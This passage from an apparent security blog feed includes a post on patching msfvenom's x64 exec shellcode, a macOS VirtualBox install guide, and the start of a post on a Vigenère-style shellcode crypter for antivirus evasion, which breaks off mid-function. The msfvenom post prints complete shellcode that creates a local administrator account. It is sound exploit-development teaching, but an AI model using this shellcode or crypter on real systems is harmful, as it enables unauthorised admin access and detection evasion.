highlighter-rouge">GpuPowerMizerMode</code> to <code class="language-plaintext highlighter-rouge">1</code> and verify it has been changed using the <code class="language-plaintext highlighter-rouge">-q</code> option:</p> <div class="language-shell_session highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>nvidia-settings <span class="nt">-a</span> <span class="s2">"[gpu:0]/GpuPowerMizerMode=1"</span> <span class="go"> Attribute 'GPUPowerMizerMode' (rastating-PC:1[gpu:0]) assigned value 1. </span><span class="gp">$</span><span class="w"> </span>nvidia-settings <span class="nt">-q</span> GpuPowerMizerMode <span class="go"> Attribute 'GPUPowerMizerMode' (rastating-PC:1[gpu:0]): 1. Valid values for 'GPUPowerMizerMode' are: 0, 1 and 2. 'GPUPowerMizerMode' can use the following target types: GPU. </span></code></pre></div></div> <p>There are multiple ways to automate the execution of this command. Personally, I have chosen to add it as a startup application. To do this, run “Startup Applications Preferences” from the dock and then click the “Add” button. In the dialog that is displayed, add the previously used command to set the preferred mode, like this:</p> <p><img src="/assets/images/how-to-permanantly-set-nvidia-powermizer-settings-in-ubuntu/startup.png" alt="" /></p> <p>After adding this as a startup program, the setting will be automatically adjusted every time you login and the GPU will always prefer maximum performance.</p> Fri, 15 Feb 2019 00:00:00 +0000 Altering Msfvenom Exec Payload to Work Without an ExitFunc /altering-msfvenom-exec-payload-to-work-without-exitfunc/ /altering-msfvenom-exec-payload-to-work-without-exitfunc/ <p>On a few occasions as of late, I’ve wanted to use the <code class="language-plaintext highlighter-rouge">windows[/x64]/exec</code> payload from <code class="language-plaintext highlighter-rouge">msfvenom</code>, but with the goal of:</p> <ol> <li>Allowing execution to continue afterwards</li> <li>Executing in a single threaded environment</li> <li>Executing without an exception handler</li> </ol> <p>Unfortunately, when setting the <code class="language-plaintext highlighter-rouge">EXITFUNC</code> option to <code class="language-plaintext highlighter-rouge">none</code>, no code is generated to allow execution to continue as normal after the payload has been executed, and ultimately results in an access violation.</p> <p>The example I’ll be going over in this post is specifically the x64 version of the exec payload, which differs slightly to the x86 version. Most notably, the calling convention is different, the x86 version will see all arguments pushed on to the stack, but the x64 version will put the first few arguments into registers.</p> <p>To generate the base shellcode I’ll be working with, I ran: <code class="language-plaintext highlighter-rouge">msfvenom -p windows/x64/exec CMD='cmd.exe /k "net user /add di.security Disecurity1! &amp;&amp; net localgroup administrators di.security /add"' EXITFUNC=none</code></p> <h2 id="what-causes-the-problem">What Causes the Problem</h2> <p>The <code class="language-plaintext highlighter-rouge">exec</code> payload uses the <a href="https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-winexec">WinExec</a> function to run the command specified in the <code class="language-plaintext highlighter-rouge">CMD</code> option.</p> <p>To push the command text specified in the <code class="language-plaintext highlighter-rouge">CMD</code> option on to the stack, it is defined as raw bytes at the end of the payload, preceded by a <code class="language-plaintext highlighter-rouge">call</code> instruction:</p> <p>When <code class="language-plaintext highlighter-rouge">call</code> is used, the address of the next instruction is then pushed on to the stack, so the execution flow can return to the correct place later. In the context of shellcoding, the pointer to the next instruction is effectively a pointer to the string that has been defined in place, and avoids the need for N amount of <code class="language-plaintext highlighter-rouge">push</code> instructions.</p> <p><img src="/assets/images/altering-msfvenom-exec-payload-to-work-without-exitfunc/original_storing_of_cmd_on_stack.png" alt="" /></p> <p>If we were to take the first few bytes that appear after <code class="language-plaintext highlighter-rouge">call rbp</code> in the above screenshot and convert them to ASCII, we can see that it is the equivalent of <code class="language-plaintext highlighter-rouge">cmd.exe /k</code>:</p> <div class="language-shell_session highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span><span class="nb">echo</span> <span class="nt">-e</span> <span class="s2">"</span><span class="se">\x</span><span class="s2">63</span><span class="se">\x</span><span class="s2">6d</span><span class="se">\x</span><span class="s2">64</span><span class="se">\x</span><span class="s2">2e</span><span class="se">\x</span><span class="s2">65</span><span class="se">\x</span><span class="s2">78</span><span class="se">\x</span><span class="s2">65</span><span class="se">\x</span><span class="s2">20</span><span class="se">\x</span><span class="s2">2f</span><span class="se">\x</span><span class="s2">6b"</span> <span class="go">cmd.exe /k </span></code></pre></div></div> <p>Eventually, the execution of the payload will end up being passed to these bytes, which will lead to an error at some point, as the bytes are nonsensical in terms of actual operations.</p> <h2 id="the-solution">The Solution</h2> <p>The solution to this issue is quite simple. The ultimate goal will be to add some extra bytes before the command text bytes which will instruct the program to jump past the command text bytes so that normal operations can continue.</p> <p>As you may be anticipating, doing this will cause an issue in that extra bytes will precede the command text in the call to <code class="language-plaintext highlighter-rouge">WinExec</code>. To avoid this becoming an issue, an additional change will need to be made to ensure the pointer used for the <code class="language-plaintext highlighter-rouge">lpCmdLine</code> argument is increased by an appropriate number of bytes, so that it points ahead of the new bytes being added.</p> <p>The change to the command text area can be seen in the screenshot below:</p> <p><img src="/assets/images/altering-msfvenom-exec-payload-to-work-without-exitfunc/cmd-text-with-jmp.png" alt="" /></p> <p>Four new bytes have been added after <code class="language-plaintext highlighter-rouge">call rbp</code>, the first two are are for a <code class="language-plaintext highlighter-rouge">jmp</code> operation to jump forward past the in place bytes, and the subsequent two bytes are just two NOPs to visually show the separation.</p> <p>With the new code in place to ensure the command text bytes are never executed, the change to offset the <code class="language-plaintext highlighter-rouge">lpCmdLine</code> pointer can be made.</p> <p>The point at which <code class="language-plaintext highlighter-rouge">WinExec</code> is invoked is at the <code class="language-plaintext highlighter-rouge">jmp rax</code> operation. At this point, the command being executed will be stored in the <code class="language-plaintext highlighter-rouge">rcx</code> register. The code block to look for is:</p> <div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">pop</span> <span class="nv">r8</span> <span class="c1">; 4158</span> <span class="nf">pop</span> <span class="nv">r8</span> <span class="c1">; 4158</span> <span class="nf">pop</span> <span class="nb">rsi</span> <span class="c1">; 5E</span> <span class="nf">pop</span> <span class="nb">rcx</span> <span class="c1">; 59</span> <span class="nf">pop</span> <span class="nb">rdx</span> <span class="c1">; 5A</span> <span class="nf">pop</span> <span class="nv">r8</span> <span class="c1">; 4158</span> <span class="nf">pop</span> <span class="nv">r9</span> <span class="c1">; 4159</span> <span class="nf">pop</span> <span class="nv">r10</span> <span class="c1">; 415A</span> <span class="nf">sub</span> <span class="nb">rsp</span><span class="p">,</span><span class="kt">byte</span> <span class="o">+</span><span class="mh">0x20</span> <span class="c1">; 4883EC20</span> <span class="nf">push</span> <span class="nv">r10</span> <span class="c1">; 4152</span> <span class="nf">jmp</span> <span class="nb">rax</span> <span class="c1">; FFE0</span> </code></pre></div></div> <p>As 4 bytes will be added before <code class="language-plaintext highlighter-rouge">jmp rax</code> to make the adjustment, and 4 bytes were added to jump over the command text, <code class="language-plaintext highlighter-rouge">rcx</code> needs to be adjusted by 8 bytes. To do this, <code class="language-plaintext highlighter-rouge">add rcx, 0x8</code> is inserted before <code class="language-plaintext highlighter-rouge">jmp rax</code>:</p> <div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">push</span> <span class="nv">r10</span> <span class="c1">; 4152</span> <span class="nf">add</span> <span class="nb">rcx</span><span class="p">,</span> <span class="kt">byte</span> <span class="o">+</span><span class="mh">0x8</span> <span class="c1">; 4883C108</span> <span class="nf">jmp</span> <span class="nb">rax</span> <span class="c1">; FFE0</span> </code></pre></div></div> <h2 id="fixing-relative-jumps">Fixing Relative Jumps</h2> <p>The simple solution now becomes a bit more painful. Adding the adjustment to the <code class="language-plaintext highlighter-rouge">rcx</code> register causes a shift in a number of offsets by 4 bytes.</p> <p>Thankfully, the visual aid on the left side of the screen in <a href="https://x64dbg.com/">x64dbg</a> makes it a bit easier to identify affected jumps by showing where they would land if taken.</p> <p>Any jump or call instruction that has an offset that went forward past <code class="language-plaintext highlighter-rouge">jmp rax</code> will need to have its offset increased by 4, where as any jump or call that went backwards will need to have its offset decreased by 4.</p> <p>A total of 4 operations were found that needed to be changed:</p> <ul> <li><code class="language-plaintext highlighter-rouge">E8 C0</code> (<code class="language-plaintext highlighter-rouge">call 0xca</code>) changes to <code class="language-plaintext highlighter-rouge">E8 C4</code></li> <li><code class="language-plaintext highlighter-rouge">74 67</code> (<code class="language-plaintext highlighter-rouge">jz 0xbf</code>) changes to <code class="language-plaintext highlighter-rouge">74 6B</code></li> <li><code class="language-plaintext highlighter-rouge">E3 56</code> (<code class="language-plaintext highlighter-rouge">jrcxz 0xbe</code>) changes to <code class="language-plaintext highlighter-rouge">E3 5A</code></li> <li>The one jump backwards found towards the end of the payload changes from <code class="language-plaintext highlighter-rouge">E9 57 FF FF FF</code> to <code class="language-plaintext highlighter-rouge">E9 53 FF FF FF</code></li> </ul> <h2 id="wrapping-up--testing">Wrapping Up &amp; Testing</h2> <p>Now that all the changes have been made, checking the value of <code class="language-plaintext highlighter-rouge">rcx</code> when sitting on the <code class="language-plaintext highlighter-rouge">jmp rax</code> instruction should show it pointing to the start of the command text bytes:</p> <p><img src="/assets/images/altering-msfvenom-exec-payload-to-work-without-exitfunc/winexec-rcx.png" alt="" /></p> <p>After the call to <code class="language-plaintext highlighter-rouge">WinExec</code>, the execution should eventually return to the short jump that was added before the command text bytes, which should jump straight over the entirety of the command text:</p> <p><img src="/assets/images/altering-msfvenom-exec-payload-to-work-without-exitfunc/post-execution.png" alt="" /></p> <p>What you place after the command text bytes is completely up to you. In this case, I placed a NOP sled, a stack adjustment and a call into some existing code.</p> <p>After making these changes, the final payload (minus the additions after the final NOP sled) looks like this:</p> <p><code class="language-plaintext highlighter-rouge">\xfc\x48\x83\xe4\xf0\xe8\xc4\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6b\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x5a\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\x48\x83\xc1\x08\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x53\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xaa\xc5\xe2\x5d\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\xeb\x69\x90\x90\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x6b\x20\x22\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x2f\x61\x64\x64\x20\x64\x69\x2e\x73\x65\x63\x75\x72\x69\x74\x79\x20\x44\x69\x73\x65\x63\x75\x72\x69\x74\x79\x31\x21\x20\x26\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x20\x64\x69\x2e\x73\x65\x63\x75\x72\x69\x74\x79\x20\x2f\x61\x64\x64\x22\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90</code></p> Sun, 18 Nov 2018 00:00:00 +0000 Installing MacOS High Sierra in VirtualBox 5 /installing-macos-high-sierra-in-virtualbox-5/ /installing-macos-high-sierra-in-virtualbox-5/ <p>During a recent pentest, I needed to throw together a macOS virtual machine. Although there was lots of guides around the web, none seemed to work from start to finish. This post contains the steps I extracted from various resources in order to get a fully working High Sierra install within VirtualBox 5.</p> <h2 id="step-1-download-the-high-sierra-installer">Step 1: Download The High Sierra Installer</h2> <p>To do this, you need to be on an existing macOS system. I was unable to find the download within the App Store itself, but following this link opened the App Store at the correct page: <a href="https://itunes.apple.com/us/app/macos-high-sierra/id1246284741?mt=12">https://itunes.apple.com/us/app/macos-high-sierra/id1246284741?mt=12</a></p> <p>After opening the aforementioned page in the App Store, start the download, but cancel the installation when it starts.</p> <p>You can then verify that the installer has been downloaded by checking that <code class="language-plaintext highlighter-rouge">"/Applications/Install macOS High Sierra.app"</code> exists.</p> <h2 id="step-2-create-a-bootable-iso">Step 2: Create a Bootable ISO</h2> <p>Next, you need to create an ISO from the installer application that was downloaded in step 1.</p> <p>Running the below commands will create an ISO on your desktop named <code class="language-plaintext highlighter-rouge">HighSierra.iso</code>:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hdiutil create <span class="nt">-o</span> /tmp/HighSierra.cdr <span class="nt">-size</span> 5200m <span class="nt">-layout</span> SPUD <span class="nt">-fs</span> HFS+J hdiutil attach /tmp/HighSierra.cdr.dmg <span class="nt">-noverify</span> <span class="nt">-mountpoint</span> /Volumes/install_build <span class="nb">sudo</span> /Applications/Install<span class="se">\ </span>macOS<span class="se">\ </span>High<span class="se">\ </span>Sierra.app/Contents/Resources/createinstallmedia <span class="nt">--volume</span> /Volumes/install_build <span class="nb">mv</span> /tmp/HighSierra.cdr.dmg ~/Desktop/InstallSystem.dmg hdiutil detach /Volumes/Install<span class="se">\ </span>macOS<span class="se">\ </span>High<span class="se">\ </span>Sierra hdiutil convert ~/Desktop/InstallSystem.dmg <span class="nt">-format</span> UDTO <span class="nt">-o</span> ~/Desktop/HighSierra.iso </code></pre></div></div> <h2 id="step-3-creating-the-virtual-machine">Step 3: Creating the Virtual Machine</h2> <p>I experimented with a few different settings in regards to the CPU and RAM allocation. I didn’t find a combination that didn’t work, but create a VM with the following things in mind:</p> <ul> <li>Ensure the name of the VM is <code class="language-plaintext highlighter-rouge">MacOS</code> (ensure to keep the same casing)</li> <li>Ensure the type is <code class="language-plaintext highlighter-rouge">Mac OS X</code> and the version is <code class="language-plaintext highlighter-rouge">macOS 10.12 Sierra (64-bit)</code> (there is a High Sierra option too, but I chose Sierra by accident and it worked)</li> <li>Untick <code class="language-plaintext highlighter-rouge">Floppy</code> in <code class="language-plaintext highlighter-rouge">System &gt; Motherboard &gt; Boot Order</code></li> <li>Use &gt;= 4096 MB of memory in <code class="language-plaintext highlighter-rouge">System &gt; Motherboard</code></li> <li>Use &gt;= 2 CPUs in <code class="language-plaintext highlighter-rouge">System &gt; Processor</code></li> <li>Use 128 MB of video memory in <code class="language-plaintext highlighter-rouge">Display &gt; Screen</code></li> <li><strong>Optionally</strong> enable 3D acceleration in <code class="language-plaintext highlighter-rouge">Display &gt; Screen</code></li> <li>Remove the IDE device in <code class="language-plaintext highlighter-rouge">Storage &gt; Storage Devices</code> and replace it with a SATA controller</li> <li>Add a new hard disk device under the SATA controller with &gt;= 60 GB of space</li> <li>Ensure an optical drive is present under the SATA controller and mount the previously created ISO to it</li> <li>Untick the <code class="language-plaintext highlighter-rouge">Enable Audio</code> option under <code class="language-plaintext highlighter-rouge">Audio</code></li> </ul> <p>After creating the virtual machine with the above configuration, hit OK and exit the settings screen. Now, a number of extra options need to be set.</p> <p>If you’re on Windows, you’ll need to <code class="language-plaintext highlighter-rouge">cd</code> into the appropriate directory under the VirtualBox installation path to run <code class="language-plaintext highlighter-rouge">VBoxManage</code>. For Linux users, this should be in your <code class="language-plaintext highlighter-rouge">PATH</code> variable already:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>VBoxManage modifyvm <span class="s2">"MacOS"</span> <span class="nt">--cpuidset</span> 00000001 000106e5 00100800 0098e3fd bfebfbff VBoxManage setextradata <span class="s2">"MacOS"</span> <span class="s2">"VBoxInternal/Devices/efi/0/Config/DmiSystemProduct"</span> <span class="s2">"iMac11,3"</span> VBoxManage setextradata <span class="s2">"MacOS"</span> <span class="s2">"VBoxInternal/Devices/efi/0/Config/DmiSystemVersion"</span> <span class="s2">"1.0"</span> VBoxManage setextradata <span class="s2">"MacOS"</span> <span class="s2">"VBoxInternal/Devices/efi/0/Config/DmiBoardProduct"</span> <span class="s2">"Iloveapple"</span> VBoxManage setextradata <span class="s2">"MacOS"</span> <span class="s2">"VBoxInternal/Devices/smc/0/Config/DeviceKey"</span> <span class="s2">"ourhardworkbythesewordsguardedpleasedontsteal(c)AppleComputerInc"</span> VBoxManage setextradata <span class="s2">"MacOS"</span> <span class="s2">"VBoxInternal/Devices/smc/0/Config/GetKeyFromRealSMC"</span> 1 </code></pre></div></div> <p>After running the above commands, the VM should be ready to boot!</p> <h2 id="step-4-installation">Step 4: Installation</h2> <p>This is where near enough everything I read stopped, despite there being one more problem in the way - UEFI.</p> <p>Boot into the VM, go into Disk Utility and erase the virtual disk that you added to the machine.</p> <p>After erasing the disk, start the installation procedure. After a short amount of time, it will reboot the VM.</p> <p>Once it reboots, it’s going to boot back off the ISO again, once it’s done this, just shutdown the VM and eject the disk [the ISO] and then start the VM again to boot from disk.</p> <p>On the next boot, it <em>should</em> boot into the installer that was copied to disk, but instead, you will be presented with a UEFI shell like below:</p> <p><img src="/assets/images/installing-macos-high-sierra-in-virtualbox-5/uefi.png" alt="UEFI shell" /></p> <p>To continue the macOS installation, follow these steps:</p> <ol> <li>Type <code class="language-plaintext highlighter-rouge">exit</code> and hit return</li> <li>Select <code class="language-plaintext highlighter-rouge">Boot Maintenance Manager</code> and hit return</li> <li>Select <code class="language-plaintext highlighter-rouge">Boot From File</code> and hit return</li> <li>You will see two partitions, select the second partition and hit return</li> <li>Select <code class="language-plaintext highlighter-rouge">macOS Install Data</code> and hit return</li> <li>Select <code class="language-plaintext highlighter-rouge">Locked Files</code> and hit return</li> <li>Select <code class="language-plaintext highlighter-rouge">Boot Files</code> and hit return</li> <li>Select <code class="language-plaintext highlighter-rouge">boot.efi</code> and hit return</li> </ol> <p>After following these steps, you will boot into the remainder of the macOS installation. From here, just follow the steps as per a regular macOS installation.</p> <p>The next time you boot your virtual machine, you will <strong>not</strong> have to go through the UEFI shell; it should work without any further problems.</p> <h2 id="step-5-tweaking-the-resolution">Step 5: Tweaking The Resolution</h2> <p>As there is no VirtualBox additions for macOS, the screen resolution won’t automatically change. If you know what resolution you wish to use, however, you can set it manually.</p> <p>Ensure the virtual machine is powered off, and then run the following command; replacing <code class="language-plaintext highlighter-rouge">1920x1080</code> with whatever resolution you would like to use:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>VBoxManage setextradata <span class="s2">"MacOS"</span> VBoxInternal2/EfiGraphicsResolution 1920x1080 </code></pre></div></div> <p>After running the above command, the next time you boot the machine, it will use the resolution specified.</p> <p>Now, you should have a fully working macOS virtual machine!</p> <p><img src="/assets/images/installing-macos-high-sierra-in-virtualbox-5/macos.png" alt="macOS virtual machine" /></p> <h2 id="references">References</h2> <p>The information found in this post was pieced together from the following sources:</p> <ul> <li><a href="https://tylermade.net/2017/10/05/how-to-create-a-bootable-iso-image-of-macos-10-13-high-sierra-installer/">https://tylermade.net/2017/10/05/how-to-create-a-bootable-iso-image-of-macos-10-13-high-sierra-installer/</a></li> <li><a href="https://superuser.com/questions/1235970/stuck-on-uefi-interactive-shell-with-mac-os-x-high-sierra-vm">https://superuser.com/questions/1235970/stuck-on-uefi-interactive-shell-with-mac-os-x-high-sierra-vm</a></li> <li><a href="https://techsviewer.com/install-macos-high-sierra-virtualbox-windows/">https://techsviewer.com/install-macos-high-sierra-virtualbox-windows/</a></li> </ul> Thu, 25 Oct 2018 00:00:00 +0000 Creating Shellcode Crypter /creating-a-shellcode-crypter/ /creating-a-shellcode-crypter/ <p>In addition to using encoders to evade AV detection, encryption can also be utilised to beat pattern detection. One of the benefits of encryption over encoding is that without the key used to encrypt the shellcode, it will not be possible to decrypt it (without exploiting weaknesses within the chosen algorithm).</p> <p>For this example, I have chosen to create a crypter that derives its implementation from the <a href="https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher">Vigenere Cipher</a>. The Vigenere Cipher is a type of substitution cipher, which is used for encrypting alphabetic text. The implementation I have created, however, allows for it’s basic principle to work with shellcode.</p> <h2 id="how-vigenere-works">How Vigenere Works</h2> <p>The Vigenere cipher consists of three components:</p> <ul> <li>The message (i.e. the unencrypted text)</li> <li>The key</li> <li>The character set</li> </ul> <p>Typically, the character set consists of the letters A through Z and can be illustrated as a square grid. The first row starts in order, and each subsequent row will shift the character set one position to the left, and rotate the characters that go out of bounds back to the right.</p> <p>Using this grid, the message can be encrypted one letter at a time. The first step is to find the column that the current letter resides in, and then follow it down the rows until reaching the row with the letter that is found in the corresponding position in the key.</p> <p>For example, if the message was <code class="language-plaintext highlighter-rouge">HELLO</code> and the key was <code class="language-plaintext highlighter-rouge">DEADBEEF</code>, the first letter (<code class="language-plaintext highlighter-rouge">H</code>) would be encrypted using the first letter of the key (<code class="language-plaintext highlighter-rouge">D</code>). The first encrypted letter would therefore be <code class="language-plaintext highlighter-rouge">K</code>, as per the illustration below:</p> <p><img src="/assets/images/creating-a-shellcode-crypter/vigenere_square.png" alt="" /></p> <p>After encrypting this letter, the letter <code class="language-plaintext highlighter-rouge">E</code> would then be encrypted using the same method, which would result in the letter <code class="language-plaintext highlighter-rouge">I</code> being selected.</p> <p>When decrypting text, the same process is followed but in reverse order. So, as the ciphertext (i.e. the encrypted text) from the above example would be <code class="language-plaintext highlighter-rouge">KILOP</code>, we would first find the first letter of the key being used to decrypt it (<code class="language-plaintext highlighter-rouge">D</code>) and check each value one by one until we find the letter <code class="language-plaintext highlighter-rouge">K</code>. Once the encrypted letter is found, it can be decrypted by replacing it with the letter corresponding to the column it is in - in this case <code class="language-plaintext highlighter-rouge">H</code>.</p> <p>In instances were the key is not equal in length or greater than the message, the key is repeated N times until it is. If the key was <code class="language-plaintext highlighter-rouge">key</code> and the message was <code class="language-plaintext highlighter-rouge">helloworld</code> it would be repeated like this:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>keykeykeyk helloworld </code></pre></div></div> <p>So, the intersection for <code class="language-plaintext highlighter-rouge">w</code> would be made from <code class="language-plaintext highlighter-rouge">y</code>, the intersection for <code class="language-plaintext highlighter-rouge">d</code> would be made from <code class="language-plaintext highlighter-rouge">k</code> etc.</p> <h2 id="modifications-required-to-work-with-shellcode">Modifications Required to Work with Shellcode</h2> <p>As the typical character set is not sufficient for using the Vigenere cipher to encrypt shellcode, the main modification will be to make it so. Rather than a character set consisting of the letters A through Z, the integer values 1 through 255 will be used. The character set starts at <code class="language-plaintext highlighter-rouge">1</code> because <code class="language-plaintext highlighter-rouge">0</code> (i.e. a null byte) is near exclusively a bad character when it comes to shellcoding.</p> <p>Due to numeric values being used, rather than letters, an optimisation can (and will) be made to the encryption process. Rather than iterating through the top level rows to determine the offset of a particular value, the value itself can be used to determine the correct offset.</p> <p>For example, in the case of the chosen character set, the correct offset can be found by deducting the starting byte from the one being processed. If the value <code class="language-plaintext highlighter-rouge">3</code> was being processed, it will always be in position <code class="language-plaintext highlighter-rouge">2</code> of the character set.</p> <p>The same optimisation can’t be fully implemented into the decryption process, as iteration of the row is unavoidable; but the offset of the row that needs to be iterated can be directly accessed using the aforementioned logic (i.e. by subtracting the starting byte (<code class="language-plaintext highlighter-rouge">0x01</code>) from the byte of the key being processed).</p> <h2 id="final-crypter-code">Final Crypter Code</h2> <p>The final code for the crypter can be found below:</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp"> #include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp"> #include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp"> </span> <span class="cp">#define FIRST_BYTE 1 #define CHARACTER_SET_SIZE 255 </span> <span class="kt">int</span> <span class="nf">encrypt</span><span class="p">(</span><span class="kt">int</span> <span class="n">characterSet</span><span class="p">[][</span><span class="n">CHARACTER_SET_SIZE</span><span class="p">],</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="n">key</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="n">payload</span><span class="p">,</span> <span class="kt">short</span> <span class="n">debug</span><span class="p">)</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">payloadLength</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">payload</span><span class="p">);</span> <span class="c1">// Loop through each char in payload, and use the values from</span> <span class="c1">// the corresponding char from the key to determine which byte</span> <span class="c1">// to select from characterSet and use it as the encoded byte.</span> <span class="kt">int</span> <span class="n">encrypted</span><span class="p">[</span><span class="n">payloadLength</span><span class="p">];</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">payloadLength</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">currentByte</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">payload</span><span class="p">[</span><span class="n">i</span><span class="p">];</span> <span class="kt">int</span> <span class="n">keyByte</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">key</span><span class="p">[</span><span class="n">i</span><span class="p">];</span> <span class="n">encrypted</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">characterSet</span><span class="p">[</span><span class="n">keyByte</span> <span class="o">-</span> <span class="n">FIRST_BYTE</span><span class="p">][</span><span class="n">currentByte</span> <span class="o">-</span> <span class="n">FIRST_BYTE</span><span class="p">];</span> <span class="k">if</span> <span class="p">(</span><span class="n">debug</span><span class="p">)</span> <span class="p">{</span> <span class="n">printf</span><span class="p">(</span><span class="s">"Position: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">i</span><span class="p">);</span> <span class="n">printf</span><span class="p">(</span><span class="s">"Payload byte (dec): %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">payload</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span> <span class="n">printf</span><span class="p">(</span><span class="s">"Key byte (dec): %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">keyByte</span><span class="p">);</span> <span class="n">printf</span><span class="p">(</span><span class="s">"Encrypted byte (dec): %d</span><span class="se">\n\n</span><span class="s">"</span><span class="p">,</span> <span class="n">encrypted</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span> <span class="p">}</span> <span class="p">}</span> <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">Encrypted: "</span><span class="p">);</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">payloadLength</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\\</span><span class="s">x%02x"</span><span class="p">,</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">encrypted</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span> <span class="p">}</span> <span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span> <span class="kt">int</span> <span class="nf">decrypt</span><span class="p">(</span><span class="kt">int</span> <span class="n">characterSet</span><span class="p">[][</span><span class="n">CHARACTER_SET_SIZE</span><span class="p">],</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="n">key</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="o">*</span><span class="n">ciphertext</span><span class="p">,</span> <span class="kt">short</span> <span class="n">execute</span><span class="p">,</span> <span class="kt">short</span> <span class="n">debug</span><span class="p">)</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">payloadLength</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">((</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">ciphertext</span><span class="p">);</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">originalPayload</span><span class="p">[</span><span class="n">payloadLength</span><span class="p">];</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">payloadLength</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">encryptedByte</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">ciphertext</span><span class="p">[</span><span class="n">i</span><span class="p">];</span> <span class="kt">int</span> <span class="n">keyByte</span> <span class="o">=</span> 